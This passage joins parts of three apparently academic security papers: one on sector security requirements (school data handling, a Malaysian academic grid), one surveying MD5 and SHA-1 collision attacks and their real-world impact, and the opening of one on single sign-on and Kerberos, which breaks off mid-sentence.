when storing it, using it and sharing it with others. This is a 

mix of policy and incentive framework because there is a 

need to protect critical information so as to preserve its 

confidentiality and integrity, otherwise if such classified 
information is altered or stolen, it may potentially cause the 

system to breakdown. 

 

 Ensure policies have clear, practical procedures on 
information governance for staff and governors to follow, 

and monitor their operation. For instance, the Data 

Protection Act (DPA) implemented by the ICO and its 8 

principles is an example of a policy undertaken to preserve 
the security goals of both confidentiality and integrity. The 

8 principles require that personal data is6: 

 

1. processed fairly and lawfully; 
2. obtained only for lawful purposes, and is not 

further used in any manner incompatible with 

those original purposes; 

3. accurate and, where necessary, kept up to date; 
4. adequate, relevant and not excessive in relation to 

the purposes for which it is processed; 

5. not kept for longer than is necessary for those 

purposes; 

6. processed in accordance with the rights of data 

subjects under the DPA; 

7. protected by appropriate technical and 

organizational measures against unauthorized or 
unlawful processing and against accidental loss, 

destruction or damage; and 

8. not transferred to a country or territory outside 

the European Economic Area unless that country 
or territory ensures an adequate level of 

protection of the personal information. 

 

 Subject access requests which recognize, log and monitor 
subject access requests. 

 

 Training; to train staff and governors in the basics of 

information governance; recognize where the law and good 
practice need to be considered; and know where to turn for 

further advice. 

                                                                   

6Adapted from the ICO’s data protection principles. 

http://ico.org.uk/for_organisations/data_protection/the_guide/the_

principles 

      

 

 

 Use encryption software to protect all portable devices and 
removable media, such as laptops and USB devices (or 

another form of memory storage not part of the computer 

itself), which hold confidential personal information. This 

is particularly important if they are taken from school 
premises. It is also important to prevent access to the 

information in case equipment is stolen. This achieves the 

security goals of confidentiality and integrity. 

 
 Whenever possible, storage rooms, strong cabinets, and 

other storage systems with locks should be used to store 

paper records. Papers containing confidential personal 

information should not be left on office and classroom 
desks, on staff room tables or pinned to notice boards 

where there is general access. Although the security goals 

of availability and confidentiality may conflict in this case, 

it is a lot more important to have the latter.  
 

5.4.2 Measures undertaken for point 4 (A 

case study of Malaysia) 

5.4.2.1  Secure Academic Grid System 
    Grid systems carry out coordinated resource sharing as they can 
negotiate and renegotiate resources sharing arrangements among 

the participating entities in order to carry out the task at hand in 

the most efficient manner (Al-iesawi & Samat, 2010). Due to the 

advantages of grid computing systems over isolated computing 

servers and other distributed systems, the Malaysian government 

has implemented two grid systems for the academic field called 

the KnowledgeGrid and AcademicGrid (A-Grid) initiatives. The 

KnowledgeGrid initiative acts to interconnect all the government 
institutions including ministries, departments and other statutory 

bodies for the purpose of sharing resources and information while 

the objective of the A-Grid initiative is to interconnect the 

universities in Malaysia. 
 

5.4.2.2   Implementation 
    The figure below shows the process that needs to be followed 

when a user needs to access the grid system. 

   

         
  

 

224



    The user must store files associated with the Digital Certificate 

in a folder in their home directories and change the file 
permission. The userkey file must disable all permission except 

for read for the owner and the usercert file must have only read 

access for all and read/write access for owner. Once the certificate 

has been installed on the client computer, users can log in to the 
grid user interface by supplying the username/password pair 

supplied by the certificate authority. If the username/password 

pair supplied is correct, the user will be authenticated and 

provided access to the grid resources. Then the user can submit 
jobs to the grid. 

 

5.4.3 Measures undertaken for point 5 

5.4.3.1   Email 
    Schools are increasingly using email to contact students. As a 
way of communicating general information, it is cheap and 

convenient. But as mentioned above, it can present security 

difficulties if used to communicate confidential personal 

information. Circular emails to should be sent by Blind Carbon 
Copy (BCC) so that email addresses are not disclosed to 

everyone. 

 

5.4.3.2  Websites 
    On school websites, where access to some sections is username 
and password controlled, the school must take care to give only 

the necessary level of access and maintain strong password 

control. There is a need to restrict access to some parts of the 

website, and there should be adequate protection for this restricted 
information. Giving only the necessary level of access means 

making checks before doing so and ensuring access is stopped 

when no longer needed. Strong passwords, i.e. at least eight 
characters long and containing special symbols, should be 

encouraged if the website holds confidential personal information. 

A regular prompt to change passwords and use different 

passwords for separate systems and devices should also be used. 
 

5.4.4  Measures for points 6 and 7 
   Security guards can be employed in order to have regular patrols 

and act as a deterrence against thieves. Also, surveillance such as 

CCTV should be installed in the institution with security 
personnel manning them during the school’s operating hours. This 

is an example of a measure implemented based on incentive to 

protect the academic infrastructure which is deemed as critical so 

as to be accountable to all personnel involved. 
(Refer to appendix D for a summary of the security requirements 

in academic environments) 

 

6. COMPARISON OF SECURITY 

REQUIREMENTS 

    The security requirements for each focus area addresses threats 

and vulnerabilities differently, even if the threats are from the 

same source and the vulnerabilities overlap. This is due to the 

difference in primary security goals that each focus area is 

required to maintain in order for that area to operate optimally. 

However, despite this difference, there are some similarities in the 

type of framework that these security requirements implement. 

 

 

Focus Area Primary Security 

Goal 

Primary 

Framework 

Financial 

Institution 

Confidentiality/ 

Integrity 

Mechanism 

Healthcare Accountability/ 

Availability 

Mechanism 

Academic Confidentiality/ 
Integrity 

Policy 

Military Confidentiality/ 

Accountability 

Policy/ Mechanism 

 

6.1   Security Goal   
    Both financial and academic institutions share similar security 

goals, namely confidentiality and integrity. This is because both 

areas must handle confidential information between themselves 

and the owner of the information while ensuring that the 

information is kept secret from unauthorized people. At the same 

time, any modifications performed by users who are not owners of 

that information must be detected and handled in order to prevent 

malicious changes to the information. 

    Similarly, the areas of healthcare and military also share a 

common security goal that is accountability. Both areas require 

that users be held accountable to the requested assets. This is to 

reduce the likelihood of misuse of or damage to assets. 

    However, healthcare requires that the assets be made easily 

available, while military requires that the assets be made available 

only when accessed by authorized personnel. This difference 

stems from the fact that healthcare services must be available to 

those who need it with minimal service disruption whereas 

military assets may contain assets that dealt with nation security 

and defence, hence a more confidential approach is required. 

 

6.2 Framework  
    Despite having different security goals, the areas of financial 

institutions and healthcare have security requirements that are 

mainly built around the framework of mechanism. This is because 

both areas require implementations that can remain effective 

regardless of the policies and assurances applied in different 

scenarios. The mechanism framework provides a default failsafe 

when policies or incentives suddenly become ineffective, such as 

a bank robbery or an epidemic. 

    On the other hand, in the academic area, security requirements 

are not focused on mechanism, but primarily on the policy 

framework. This is due to the fact that most of the security 

requirements must be relevant to a large number of users and 

threats. Policies can address a wider range of scenarios and can be 

drafted with the concept of human practicality in mind, whereas 

mechanisms are passive countermeasures and may be impractical 

in the context of academic.  

    In the military sector, security requirements are focused on a 

combination of mechanisms and policies. Like financial and 

healthcare security requirements, military security requirements 

implement mechanisms that are required to remain effective 

regardless of situation, such as during wartime or national 

emergencies, while, like academic security requirements, 

maintaining the practicality of the implementations through the 

use of policies. 
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7. Conclusion 
    Even though there may be differences between the security 

goals required by each focus area, the security requirements can 

still implement controls and measures that are similar in each area 

in terms of the framework applied. Similarly, the framework that 

is implemented may be different across focus areas, but the 

achieved security goals may still be the same. Hence, there is an 

absence of a strict correspondence between security goals and 

framework. The primary determinant is the effectiveness in which 

the threat or vulnerability identified in each focus area can be 

addressed using different frameworks to achieve desired security 

goals. 
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ABSTRACT 

This paper presents MD5 and SHA1 hash collisions and the 

attacks against them. This paper further evaluates the safety of the 

systems that use them and propose alternatives. 

Categories and Subject Descriptors 

D.4.6 [Security and Protection]: MD5, SHA1 

General Terms 

Security  

Keywords 

MD5, SHA1, Hash collision 

1. INTRODUCTION 
 

1.1 Background of Hash Functions 

Hashing algorithms were first conceptualised in 1976, in Die and 

Hellman’s paper [1] which identifies a need for a one-way hash 

function as a building block of a digital signature scheme. 

A hashing algorithm is a function that maps data of any length to 

a string of a fixed length. The values produced by the function are 

called hashed values. Hash functions are primarily used to 

generate fixed-length output that acts as a shortened reference to 

the original data. This is useful when the original data is too 

cumbersome to use in its entirety. 

The ideal cryptographic hash function has four main properties 

[2]. One, the hash output is easy to compute for any given 

message input. Two, it is infeasible to generate a message given a 

hash. Third, it is infeasible to modify the message without 

changing the hash output. Lastly, it is infeasible to find two 

different messages which produce the same hash. 

A method of production is not always foolproof. Time passes and 

new weaknesses in hashing algorithms would be discovered. A 

weakness could be a theoretical break, a flaw in the design, or a 

break which would render the hashing algorithm obsolete. 

 

A theoretical break is an attack on the algorithm that takes shorter 

than the time it is designed to be secure but an attack has not been 

successful. A flaw may not change the secureness of the algorithm 

in short-run but in due time, a break would be designed around 

that flaw. A break is never too far behind when a flaw is 

discovered. A break of the algorithm would mean that the hashing 

function is no longer secure and is rendered obsolete. 

MD4 used to be the most common hashing algorithm used. In 

1991, a weakness was found by Den Boer and Bosselaers and was 

published in a paper. [3] Then, even though MD4 was not broken 

yet, experts began to propose the switch to another hashing 

algorithm, MD5, instead. 

MD5 (Message Digest 5) was designed by Professor Ronald 

Rivest of MIT (Rivest, 1992) which produces a 128-bit (16-byte) 

hash value. [4] In 1996 a flaw was found in MD5. While it was 

not a critical weakness, experts began to recommend switching to 

other hashing methods. 

In time, SHA-1 became the next popular hashing algorithm. SHA-

1(Secure Hashing Algorithm) was designed by the United States 

NSA (National Security Agency) and is a U.S. Federal 

Information Processing Standard published by the United States 

NIST (National Institute of Standards and Technology). [5] It 

produces a 160-bit (20-byte) hash value. In 2005, cryptanalysts 

found attacks on SHA-1 which suggested that SHA-1 would not 

be secure for much longer and people should switch to another 

hashing algorithm again. That would be SHA-2, which is touted 

to be still safe even today. 

 

1.2 Hash Function Definition 

In this paper, we define the cryptographic hash function H that 

maps a message M of arbitrary length to a fixed-length hash value 

h. [6]  

The hash function H has the following cryptographic 

requirements: 

The hash function H is collision resistant if it is practically 

infeasible to find two messages M and M*, with M * ≠ M, such 

that H (M) = H (M*). 
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The hash function H is one way or pre-image resistant if for a 

given hash value h, it is practically infeasible to find a message M 

such that H (M) = h. 

The hash function H is second pre-image resistance if for a given 

message M, it is practically infeasible to find a second message  

M* ≠ M such that H (M) = H (M*). 

A good hash function should also satisfy other properties that are 

intuitively important such as the avalanche effect, flipping one bit 

of the input would change approximately half of the bits of the 

output, and local one-wayness, no input bits can be reliably 

guessed from the hash’s output. Failure to satisfy those or similar 

properties, such as infeasibility of finding a pseudo-collision, a 

free-start collision, and a near-collision is called a certificational 

weakness. [7] 

2. Hash Collision Attacks 
 

2.1 Generic Hash Collision Attacks 

Hash collision attacks can be categorized mainly into two 

categories, generic attacks on the hash function when abstracted 

and treated like a black box against hashes that use the iterative 

hash function based on the Merkle–Damgård construction, such 

as MD5 and SHA1. 

A hash collision attack is an attack on a cryptographic hash that 

tries to find two inputs that produce the same hash value, two 

different messages M and M*, such that H(M) = H(M*).  This is 

an attack on the collision resistant property of the hash function.  

As defined earlier, a cryptographic function maps a message M of 

any length to a fixed length hash. As a result, there are more 

possible inputs than outputs to the hash function and according to 

the pigeonhole principle, collisions will occur. Also, due to the 

birthday problem, for an N bit hash function, computing 

1.2*2*2(N/2) hash operations on random input provides a better 

than 0.5 probability to find a hash collision. This makes it much 

faster to find a collision than using a brute force approach. [7] 

Due to the above reasons, it is easier to mount collision attacks as 

opposed to pre-image attacks, an attack on the pre-image 

resistance property of the hash function, or second pre-image 

attacks, an attack on the second pre-image resistance property. 

 

Property Ideal Security 

One-wayness (pre-image Resistance) 2N-1 

Second pre-image resistance 2N-1 

Collision Resistance 1.2*2*2(N/2) 

Table 1: Complexity of generic attacks on different properties 

of hash functions. [8] 

 

2.2 Specific Hash Collision Attacks 

Hash collision attacks can be categorized mainly into two 

categories, generic attacks also known as classical collision 

attacks as described above, as well as specific attacks that target 

the hash function such as chosen-prefix, pseudo, free-start and 

near collision. 

2.2.1 Specific Attacks 

The specific hash attacks targets the Merkle–Damgård 

construction which describes how to construct a hash function 

based on a compression function with fixed-size inputs in an 

iterative structure [9] as shown in the figure below.  

Figure 1: Merkle–Damgård Construction [9] 

 

The message is split into blocks which are then iteratively 

processed with the compression function. The internal state IHV 

is initialized with the Initialization Vector (IV).  

We define the different compression attacks below: 

    

Collision attack 

Given the same internal state IHV, compute different messages, M 

and M*, such that CF (IHV, M) = CF (IHV, M*) where CF is the 

compression function. 

Near-collision attack 

Given different internal states IHV, IHV*, compute different 

messages, M and M* such that the hamming distance between CF 

(IHV*, M*) - CF (IHV, M) is small.  

Pseudo-collision attack  

Compute different internal states and messages, (IHV, M) and 

(IHV*, M*), such that CF (IHV, M) = CF (IHV, M*) 

Free-Start Collision  

Compute for the same internal state and different messages, (IHV, 

M) and (IHV, M*), such that CF (IHV, M) = CF (IHV, M*) 

 

2.3.1 Chosen-Prefix Collision Attack on MD5 

Before the chosen-prefix collision attack, Wang and Yu came up 

with an algorithm which can be used to perform an identical 

prefix collision attack.  Files of arbitrary length that have identical 

MD5 hashes, and that differ only in 128 bytes somewhere in the 

middle of the file could be created. 

The chosen-prefix collision attack on MD5 was first demonstrated 

by Marc Stevens at Technische Universiteit Eindhoven in 2006. 

[10] It is stronger than the identical prefix collision attack as it 

could append specially computed blocks of 716 bytes to two 

arbitrary files of same length to make their hashes collide. [11] 
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Figure 2: Chosen-prefix Collision Attack Overview [9] 

 

2.3.2 Chosen-Prefix Collision Attack on MD5: 

RapidSSL Attack in 2008 

The RapidSSL attack was a collaboration of hackers and 

academics led by Alex Sotirov and Marc Stevens. They 

demonstrated a practical MD5 chosen prefix collision attack 

against the RapidSSL CA which resulted in a rogue SSL 

certificate authority trusted by all browsers and thus allowing 

man-in-the-middle attacks on SSL. This could be done on about 

two days on a cluster of 200 PS3s which is equivalent to about 

twenty thousand dollars on Amazon EC2. [10] 

2.3.3 Chosen-Prefix Collision Attack on MD5: 

Flame Attack  

The Flame Attack is the first known example of an MD5 chosen 

prefix collision attack being used maliciously in a real-world 

environment which is known to be active since 2010. It registers 

itself as a proxy server for update.microsoft.com and other 

domains, performing a man-in-the-middle attack on Windows 

Update. Furthermore, SSL spoofing is not needed as Windows 

Update falls back to plaintext HTTP [10] as Flame serves a fake 

update signed with a Microsoft code-signing certificate.  

Due to weaknesses in Microsoft’s Terminal Server product, 

attackers were allowed to create a fraudulent intermediate 

certificate authority that contained the imprimatur of Microsoft's 

own root authority certificate. The bogus certificate was used to 

trick people into installing various Flame software modules by 

falsely certifying they were produced by Microsoft. Furthermore, 

it was admitted that by Microsoft’s senior director of Microsoft's 

Security Response Center, Mike Reavey, that “code-signing 

without performing a collision is also possible”. [12] 

However, the Flame attack was estimated to cost around twenty 

thousand on Amazon EC2 in 2008 for a single collision attempt 

[10] and was not based on the open-sourced tool used for the 

RapidSSL attack was open-sourced in 2009 according to Marc 

Stevens after analysis using forensic tools. Microsoft's claim that 

Flame was able to pull one off is one more reason to believe that 

whoever was behind the malware had unlimited resources and 

some exceptional talent.  

 

2.3.4 Collision Attack on SHA1   

In 2005, successful collision attacks on SHA-1 were achieved by 

Wang, Yin and Yu [13], with an efficiency of 269 calculations, 

roughly 2000 times faster than the brute-force approach. [14]  

 

2.3.5 Collision Attack on SHA1: Hash Clash 

The most efficient attack against SHA-1 to date is considered to 

be the one by Marc Steven with an estimated cost of $2.77M to 

break a single hash value by utilizing cloud servers. [15] Stevens 

developed this attack in a project called HashClash, implementing 

a differential path attack. HashClash claims to have a fully 

working near-collision attack against full SHA-1 working with an 

estimated complexity equivalent to 257.5 SHA-1 compressions, 

which can be extended to an identical prefix collision attack with 

a complexity around 261. [16] 

 

2.4 Summary of Attacks 

We summarize the well-known attacks against the MD5 and 

SHA1 hash functions in Table 2 (below). 

 

Hash Function Year Attack Type Calls 

 

 

MD5 

1993 Pseudo-Collision - 

2004 Identical-Prefix 240 

2006 Chosen-Prefix 249 

2009 Identical-Prefix 216 

2009 Chosen-Prefix 239 

 

SHA1 

2005 Collision 269 

2012 Identical-Prefix 261 

2012 Chosen-Prefix 277.1 

 

Table 2: MD5 and SHA1 Attacks [17] 

 

There are similarities between the pattern in attacks on MD5 and 

SHA1, and given Moore’s law coupled with the proliferation of 

cloud computing and parallelized GPU computing clusters, it will 

not be long when a break on SHA1 becomes practical given the 

increasing computing power and improvements in parallelization 

algorithms. As such, Microsoft is actively monitoring the situation 

and has released a policy for deprecating SHA-1 by 2016. [18] 

3. IMPACTS OF ATTACKS ON MD5 and 

SHA1 ALGORITHMS 
 

3.1 MD5 

Researchers changed a normal SSL certificate issued by 

RapidSSL into a working CA certificate for the issuer, which 

could be used to create other certificates that would seem to be 

legitimate and issued by RapidSSL in 30 December 2008, at the 

25th Chaos Communication Congress by using a cluster of PS3 

only. Verisign, the issuers of RapidSSL certificates, announced 

almost immediately after that they would stop issuing new 

certificates using MD5 for RapidSSL and by the end of January in 

2009, they would discontinue all end entity certificates from using 

MD5. [19] 
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This shows that once a hashing algorithm is proved to be 

cryptographically broken, Certification Authorities would need to 

almost immediately switch hashing functions to maintain that 

their certificates are still credible and stop issuing certificates 

using that hash function. 

 

Not only Certification Authorities face this problem, in Australia, 

a motorist who was convicted of speeding used vulnerabilities in 

the MD5 algorithm to escape being convicted. [20] Because the 

MD5 algorithm was used to store time, date, place, number-plate 

and speed of cars caught on camera, the defence lawyer said that 

this is a discredited technology. This was further proven when a 

team of Chinese Math enthusiasts broke into the speed cameras 

record, which could led to the authority themselves (theoretically) 

changing the speed of the car and still retain the same hashed 

code. Thus the records became unreliable to be used in court since 

it could easily be hacked into and tampered with.  

 

This shows that because of the vulnerabilities of the MD5 

algorithm, someone who is guilty could use this in their favour by 

saying the only piece of evidence against them is unreliable and in 

the end got off the case. This leads to a problem with data 

integrity. 

 

The first known malicious MD5 collision attack in the real world 

is the Flame attack. Rather than being like a normal worm, Flame 

is about 20 Megabytes and is capable of doing a lot more, like 

stealing information, recording messages, anything to do with 

intelligence gathering, it is able to do it. Hence this lead to people 

believing that whoever created it must be a properly funded 

professional team. [21] The possible impacts of this are the start 

of a cyber-warfare where countries starts to do political espionage 

by crafting malware to attack other countries’ government 

organizations, this would possibly lead to countries starting to 

pass cybersecurity legislation and increase spending on 

government and corporate computer security. [22]  

 

3.2 SHA1 

 

Theoretical weakness of SHA-1 exists and in august 2005, an 

attack on SHA-1 reported that would find collisions in 263 

operations, thus it might be possible to be broken within years 

hence Microsoft decided to implement a SHA-1 deprecation 

policy announced in November 2013. Main points include that 

CAs must stop issuing new SHA1 SSL and Code Signing end-

entity certificates by 1 January 2016. For SSL certificates, 

Windows will stop accepting SHA-1 end entity certificates by 1 

January 2017, they must be replaced with a SHA-2 equivalent 

before 1 January 2017. For Code Signing certificates with no 

timestamp, Windows will stop accepting after 1 January 2016 and 

for those with timestamps, it will still be accepted until Windows 

determined that SHA1 is vulnerable to pre image attacks. [18]  

 

Publication from NIST (The National Institute of Standards and 

Technology) states that the use of SHA-1 would be deprecated 

from 1 January 2011 till 31 December 2013 and after that SHA-1 

shall not be used for digital signature generation after 31 

December 2013 for all federal agencies and should move on to 

use SHA-2 hash functions.[23] 

 

However the SHA-2 functions are currently not as widely used as 

SHA-1, despite their better security. Reasons might include lack 

of support for SHA-2 on systems running Windows XP SP2 or 

older or a lack of perceived urgency since SHA-1 collisions have 

not yet been found. Some argued that since SHA-2 algorithms 

bear similarity to the SHA-1 algorithm, it would be susceptible to 

SHA-1 attacks. Thus due to this NIST perceived a need for an 

alternative, dissimilar cryptographic hash, which became SHA-3. 

This shows that even if the hash function itself is not completely 

broken, regulatory authorities like NIST need to be prepared for 

the possibility that the current algorithm (SHA-1/SHA-2) might 

be broken and look ahead to come out with a different type of 

hash like the SHA-3. 

 

4. SAFETY EVALUATION 
 

4.1 Password Hashes 

It can be seen that systems that use MD5 and SHA1 algorithms to 

hash passwords for protection is not safe at all. This is because the 

MD5 and SHA1 algorithms were not designed to for password 

hashing in the first place. Instead, they were designed to convert 

plaintext into hashes with the use of very little time and minimal 

amount of computing resources. With the use of graphics 

processors to carry out computing, password-cracking programs 

can now run extremely fast. A computer running a single AMD 

Radeon HD7970 GPU, for example, can try 8.2 billion password 

combinations each second [24], depending on the hashing 

algorithm used.  Also, there are new methods continually being 

devised to reduce the time needed to crack passwords protected by 

hashing algorithms. Jens Steube came up with a method to 

remove repeated computations in the process of generating SHA1 

hashes, cutting the time required to crack passwords by 21 percent 

through skipping those redundant steps.[25] What makes this 

worse is the vulnerability of online websites to suffer cyber-

attacks and result in the leakage of their database of plaintext 

passwords and hashes. In June 2012, a hacker posted more than 8 

million SHA1 and MD5 hashed passwords obtained from a 

popular dating website, LinkedIn. Independent researcher Jeremi 

Gosney to crack more than 90 percent of the SHA1 hashed 

passwords as which used only a single iteration to generate hashes 

allowing his system to try more than 15.5 billion guesses per 

second. [24] Also, many websites do not use salts in addition to 

hashing to protect the passwords. Salting appends unique 

characters to the passwords before hashing which defends against 

pre-computed attacks. The absence of this mechanism allowed the 

passwords from LinkedIn to be cracked easily. However, MD5 

and SHA1 should be avoided regardless of using salts or not. 

There are algorithms designed for protecting passwords which 

require more computation and time to generate hashes such as 

SHA512crypt, Bcrypt and PBKDF2. Although these 

computationally expensive algorithms put more strain on the 

server, the improved security is essential for websites to protect 

their users’ information. 
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4.2 Digital Certificates 

As seen from the above sections, digital certificates have been the 

main target of collision attack attempts whether it is a practical 

research or a real malicious attack because of its widespread 

impact of a breach in security on certificates. 

The main danger of successful collision attacks on digital 

certificates is impersonation. If the attacker is able to find a 

successful collision attack, he can authenticate as any person or 

system or forge digital signatures and browsers would not be able 

to detect that the certificates were compromised. With the use of 

internet websites nowadays to carry out a wide variety of activities 

ranging from data downloads to business and monetary 

transactions, the ramifications of security breaches on digital 

certificates are huge. For example, banks and businesses will lose 

revenue and clients if their online transactions are unsafe and 

clients’ interests are unprotected. Government agencies and 

organizations also have confidential and sensitive information 

which when leaked could lead to damaging of the countries’ 

interests. The Flame attack tricked people into installing malicious 

software. These attacks could also lead to uncertainty and fear 

when using the internet, thus hampering the environment for 

online activities to be carried out. 

 

However, the responsibility of these problems largely lies with 

bad business and organization management practices. The success 

Flame Malware attack, for example, was partly due to Microsoft 

failing to recognize the vulnerability of its certificates that were 

signed with the MD5 algorithm which was already known to be 

broken and there was the demonstration of the RapidSSL collision 

attack in 2008 as well. Many organizations do not keep track of 

the keys and certificates being used in their systems. In 2013, 

research conducted by Venafi labs indicated that 40% of global 

2000 organizations still use MD5 as their hashing algorithm.[26]  

Research from the Ponemon Institute also provides evidence that 

organizations do not know that MD5 is being used.  Forrester 

Research found that 44% of organizations have already 

experienced an attack on their cryptographic resources and 60% 

of these businesses could not respond to the attacks within 24 

hours.[27] This clearly shows that organizations are not putting 

proper attention on their digital security and taking for granted 

that they are secure.  

 

Thus the importance of the collision attacks lie in serving as 

warnings and indication on the current state of digital security. 

The collision attacks have shed light on the amount of time and 

the cost required to break the various hashing algorithms. The 

RapidSSL attack and Flame attack have clearly showed that using 

MD5 is totally not safe and is affordable for an attack on large 

organizations. Though the attacker of the Flame attack was 

claimed to have unlimited resources and exceptional talent, the 

fact that there was a successful malicious attack on an 

organization like Microsoft should be a large enough deterrence 

for any organization to stop using MD5. 

 

Although there have been no successful practical SHA1 collision 

attacks, the presence of the theoretical collision attacks and 

estimations of the time when there will be viable collision attacks, 

organizations like NIST are already moving away from the use of 

SHA1. Due to the mistake on MD5, Microsoft is also preparing 

early and will stop recognizing the validity of SHA1 digital 

certificates after 2016. SHA1 is expected to vulnerable to 

collision attacks by 2018 without including the fact that attackers 

may derive more efficient methods and improving hardware 

which speeds up processing time.[28] From this, we are able to 

see that the collision attacks give us insight on the state of the 

current security. Organizations will be able to analyze the hashing 

algorithms their systems are using and start to prepare early and 

move on to stronger hashing algorithms before it is too late. This 

is extremely critical for businesses as changing security policies 

cannot be done in a short span of time. Many businesses have 

been reluctant to do anything about their system security as it 

would lead to system outages and cause them to lose their 

platform for online customer services. Hence, there needs to be 

sufficient time to allow companies to make the change. 

 

Systems that are currently using MD5 are not safe as long as an 

attacker has the intent as well as resources to try and break the 

system. SHA1 systems may currently still be safe due to 

limitations in the time required to find a collision, however, the 

resource required to fund an attack is decreasing rapidly. A 

practical attack against SHA-1 is estimated to cost about2.77 

million dollars in 2012, but it will drop to 700 thousand dollars by 

2015. [29] This provides a large incentive for malicious attackers 

to join in the attacks on SHA1 systems and bring forward the 

estimated time that a collision may be found. 

 

Thus, digital certificates are only safe until the derivation of 

efficient methods and sufficient technological progress lead to 

viable collision attacks on the hashing algorithms protecting them. 

MD5 is no longer safe and SHA1 will soon follow suit in the next 

few years which is an indication for the replacement to stronger 

algorithms in order to allow online activities to be protected from 

malicious attacks. 

 

5. PROPOSED ALTERNATIVES 
 

5.1 Other hash algorithms, SHA2 
SHA-2 has been designed as the next hash to take over SHA-1, it 

was first published in 2001. SHA-2 is a set of cryptographic hash 

function (SHA-224, SHA-256, SHA-384, SHA-512, SHA-

512/224, SHA-512/256) designed by the U.S. NSA.  Each of 

those functions has hash outputs which correspond to the number 

in their names. Although SHA-2 is a totally new hash, it is 

derived from the same technique as SHA-1. However, the security 

flaws that were identified in SHA-1 have not been found in   

SHA-2.  

 

5.2 Delaying the Inevitable  

It is not always easy to switch to a new hash function. In a big 

system with millions of users’ data scattered across multiple 

servers which require real-time access, it would not be easy to re-

calculate all the hash values for each user in one session. Not to 

mention the nightmare of ensuring the integrity of the whole 

system while that process is on-going and the constant need of 

ensuring backward compatibility.  
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Thus, some companies have chosen to delay the switch over to a 

later date instead of an immediate migration as the immerse cost 

involved and the intangible benefit makes the whole undertaking 

very excruciatingly painful.   

 

6. Conclusion 
No Hashing Algorithm will ever always be secured; even the 

SHA-2 will be broken one day. Although no hash will be always 

be secure, it helps that there are a lot of knowledge about the 

weaknesses of the previous hashes so that each generation of 

newer hashes will be more robust, take longer to break and hence 

last longer. 
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ABSTRACT
“Single Sign-on is a kind of access control mechanism which can
be used among multiple related but also independent software
system”. Single Sign-on saves both time and cost but produces
vulnerability problems at the same time. There are five types of
common single sign-on technique: Kerberos based, Smart Card
based, One Time Password based, Integrated Windows
Authentication and Security Assertion Markup Language. By each
mechanism itself alone, all the mechanisms have certain
vulnerabilities,the single sign-on which is using the combinational
authentication mechanism will provide less vulnerabilities.
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1. INTRODUCTION
By definition, “Single Sign-on is a kind of access control
mechanism which can be used among multiple related but also
independent software system”. In another words, it allows a user
to sign on only once at one particular system and be able to access
to all the others related systems without being asked to log in
again. Single Sign-on saves both time and cost in which reduces
the amount of time for typing password and the amount of cost for
recovering a lost password. However, Single Sign-on also
produces vulnerability problems at the same time.

2. BACKGROUND
Based on the development of information technologies and the
evolution of Internet, more and more applications or softwares can
be accessed by users in daily life. Users may want to access a
client application, a web server and a database to accomplish their
job functions. To achieve that, users have to type in multiple
accounts and passwords to gain access to multiple different
systems. On the other side, if system administrators want to
maintain the integrity of system security policy, they have to
manage multiple user accounts for multiple systems even though
these accounts belongs only one particular user. The Figure 1
below shows how complicated the process is:

Figure 1. User sign-on in a distributed system.
In the past few years, a distributed system can be separated based
on different components which belongs to different security
domains. Each components consists of individual platforms and
systems. As an illustration of above diagram, initially, a client
user has already gained access to the primary domain by
providing certain account and password as primary domain user
credentials. If he is trying to access the secondary domain now, he
has no choice but to perform secondary domain sign-on which
requires the client user to provide another account and password.
If he want to access multiple domain, he has to sign-on for
multiple times. By doing that, this procedure wastes not only
user's time for sign-on but also user account manager's time for
authenticating the validation of the account. Therefore, the
question has been asked over years:" Is there an better way for
sign-on process that optimize the procedure?" The answer is using
Single Sign-on mechanism,as a diagram shows below:

Figure 2. Single Sign-on System.



When a client user is able to gain access to the primary domain by
providing the primary domain user credentials such as account
and password, the user account management will identify whether
this credentials are valid for further domain. If the credentials are
valid, whenever the user want to access secondary domain, the
secondary domain will not ask him for another sign-on, the
secondary domain will mark the user as trustable and let him gain
access in by getting the proof from user account management. By
doing that the time taken by users in sign-on procedures to each
domain will be reduced, it also reduces the possibility of sign-on
failure; the time taken by administrators in managing users'
account will also be reduced.

3. SPECIFIC TECHNICS
There are five types of common single sign-on mechanisms:
1.Kerberos based
2.Smart card based
3.One Time Password token
4.Integrated Windows Authentication
5.Security Assertion Markup Language

3.1 Kerberos based
The main advantage of Kerberos Authentication based single
sign-on is that user is “required to sign-on only once at given sign-
on dialogue and run multiple related but different applications
without sign-on again”.

3.1.1 Why Kerberos
The explanation of Figure 1 is basically a kind of password based
authentication. As the situation illustrated above, for security
purpose, password based authentication can be considered as
inconvenient in which users do not expect to repeatedly enter
credentials for multiple sign-on dialogues to gain access a
network application. This inconvenience will finally lead to an
weaker authentication mechanism among different systems, called
authentication by assertion. Although authentication by assertion
can be regarded as a kind of convenience to users, actually, it
cannot to identified as a proper authentication by the functions it
provided. Applications verify the identity of the user such as user
name and password, and let the server trust it. Such authentication
process can be easily rejected by server if the application has been
modified. Privileged access to the system which can be easily
obtained on PCs may be required by authentication by assertion.
Most uses of authentication by assertion require that a starting
point from a trusted network address, however, those addresses
are themselves assertions on many networks.

Hence, a stronger authentication mechanism based on
cryptography is required. Kerberos is the most widely used
example of authentication based on cryptography technology.
When using this type of authentication mechanism, an attacker
who is snooping gains no information about another's identity.

3.1.2 How Kerberos works
Kerberos is a distributed authentication service uses a bunch of
encrypted messages to prove a client's identity to a server
showing that the client which trying to access the server is
running on behalf of a user without sending data across the
network which might allow an attacker to snoop the information
of the user and do spoofing. Kerberos provides integrity and
confidentiality for data transmission between client and server.
The Kerberos protocol is based in part on the Needham and
Schroeder authentication protocol but with some modifications to
support the needs of its own environment.

Kerberos is a mechanism to distribute session keys for the use of
traffic encryption between two hosts in a network. These session
keys include a time stamps so that the transmission can be
considered as valid for certain period of time, this is to prevent
replay attacks. And theses session keys are provided by a “Key
Distribution Center (KDC)”. The KDC has to be implemented on
the top of a secure platform, since it holds the identities of all
systems involved in the Kerberos system. The Key Distribution
Center basically contains two services: an Authentication Service
that handles the initial request and a Icket Granting to support
subsequent authentication without re-entry of a user's password.

The following illustration is the standard Alice-Bob example to
see how Kerberos Authentication works:

Figure 3. Kerberos Authentication illustration.

1. Alice sends a request to the KDC in plaintext for accessing to
the Ticket Granting Server (TGS)

2. The KDC sends back a session key for the TGS which
encrypted in Allice's secret key.

3. Alice sends the session key to the TGS

4. TGS provides Alice a Ticket Granting Ticket(TGT). Now,
Alice can use the session key and the TGT to obtain new tickets
for new services.

5. If Alice want to request a service on Bob, she sends a request to
the TGS encrypted with her session key that contains her TGT
and a newly constructed Authenticator to identify that the service
